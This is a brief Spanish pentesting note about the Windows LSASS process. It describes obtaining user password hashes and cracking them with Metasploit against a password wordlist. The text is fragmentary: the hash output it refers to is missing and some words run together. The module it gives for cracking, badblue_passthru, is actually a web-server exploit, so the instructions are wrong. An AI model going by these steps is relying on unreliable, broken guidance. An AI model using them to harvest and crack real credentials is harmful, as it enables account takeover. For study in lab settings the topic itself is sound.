Proceso Lsass
LSASS mantiene una base de datos de cuentas de usuario locales y de dominio y gestiona su acceso y permisos. También administra la creación y eliminación de cuentas y contraseñas de usuario. Por ejemplo podemos obtener hashes de los usuarios:
Si quisiéramos crackear estos hashes, podemos poner el metasploit en segundo plano y ejecutar el siguiente módulo:
use exploit/windows/http/badblue_passthru
Establecemos un diccionario:
set CUSTOM_WORDLIST /usr/share/metasploit-framework/data/wordlists/unix_passwords.txtY lo ejecutamos:
